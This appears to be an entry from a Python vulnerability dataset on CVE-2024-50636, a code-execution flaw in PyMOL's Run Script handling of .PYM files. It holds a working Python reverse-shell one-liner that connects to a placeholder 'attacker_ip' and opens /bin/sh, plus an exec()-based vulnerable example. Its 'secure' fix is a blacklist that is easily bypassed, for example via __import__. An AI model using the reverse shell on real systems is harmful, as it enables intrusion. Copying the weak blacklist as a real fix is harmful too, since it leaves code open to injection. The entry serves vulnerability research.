CVE-2024-50636

PyMOL 2.5.0 allows RCE via unvalidated Python code in .PYM files.

• CVSS 9.8
• CWE-94
• Input Validation and Sanitization
• Remote

PyMOL 2.5.0 contains a vulnerability in its "Run Script" function, which allows the execution of arbitrary Python code embedded within .PYM files. Attackers can craft a malicious .PYM file containing a Python reverse shell payload and exploit the function to achieve Remote Command Execution (RCE). This vulnerability arises because PyMOL treats .PYM files as Python scripts without properly validating or restricting the commands within the script, enabling attackers to run unauthorized commands in the context of the user running the application.

CVE

CVE-2024-50636

CWE

CWE-94

CVSS base score

9.8

Published

2024-11-11

OWASP

A01 Broken Access Control

Orthogonal defect classification

Checking

Code defect classification

Incorrect Functionality

Category

Input Validation and Sanitization

Subcategory

Command Injection

Accessibility scope

Remote

Impact

Arbitrary Code Execution

Affected component

PyMOL

Fixed by upgrading

Yes

Solution

Upgrade to PyMOL 2.5.1 or later, which includes validation and restrictions for the "Run Script" function.

def run_script(script):
    """Vulnerable function that demonstrates the security issue."""
    exec(script)

script = "__import__('os').system('whoami')"
run_script(script)

import ast

def run_script(script):
    """Secure function that fixes the vulnerability."""
    # SECURE: This version prevents command injection
    blacklisted_commands = {'os', 'subprocess', 'eval', 'exec'}
    for node in ast.walk(ast.parse(script)):
        if isinstance(node, ast.Import) or isinstance(node, ast.ImportFrom):
            for alias in node.names:
                if alias.name in blacklisted_commands:
                    raise ValueError(f"Blacklisted module imported: {alias.name}")
        elif isinstance(node, ast.Call) and isinstance(node.func, ast.Name):
            if node.func.id in blacklisted_commands:
                raise ValueError(f"Blacklisted command invoked: {node.func.id}")
    exec(script)

script = "import os; os.system('whoami')"
try:
    run_script(script)
except ValueError as e:
    print(e)

import socket, subprocess, os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("attacker_ip",port)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);

@misc{vaitp:cve202450636,
  title        = {{PyMOL 2.5.0 allows RCE via unvalidated Python code in .PYM files.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2024},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2024-50636},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-50636/}}
}